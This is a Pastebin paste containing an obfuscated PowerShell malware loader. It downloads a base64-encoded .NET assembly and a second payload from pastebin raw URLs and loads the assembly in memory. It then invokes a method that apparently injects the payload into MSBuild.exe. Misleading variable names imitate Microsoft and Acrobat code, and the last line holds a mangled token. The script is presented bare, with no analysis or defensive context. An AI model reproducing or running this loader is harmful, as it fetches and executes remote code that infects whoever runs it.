Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- $version = @([System.Reflection.Assembly]::GetExecutingAssembly().ImageRuntimeVersion); function HexToBin([string]$MicrosoftSystenFramework) {
- $return = @()
- for ($MicrosoftRunned = 0; $MicrosoftRunned -lt $MicrosoftSystenFramework.Length ; $MicrosoftRunned += 2)
- {
- $return += [Byte]::Parse($MicrosoftSystenFramework.Substring($MicrosoftRunned, 2), [System.Globalization.NumberStyles]::HexNumber)
- }
- Write-Output $return
- }
- $webClient = New-Object System.Net.WebClient
- $MicrosoftNetSystenFramework = $webClient.DownloadString('https://pastebin.com/raw/Gbhy2Lea ');
- $Assembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($MicrosoftNetSystenFramework))
- $webClient = New-Object System.Net.WebClient
- $MicrosoftNetSystenFramework = $webClient.DownloadString('https://pastebin.com/raw/wxMgQyN0 ');
- [byte[]]$Data = [Convert]::FromBase64String($MicrosoftNetSystenFramework);
- $AcrobatReader = $Assembly.GetType('C.M')
- $m = $AcrobatReader.GetMethod('R')
- $m.Invoke($null, ($null, $('\Windows\Microsoft.NET\Framework\' + $version + '\MSBuild.exe'), '', $Data, $AcrobatReaderrue))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement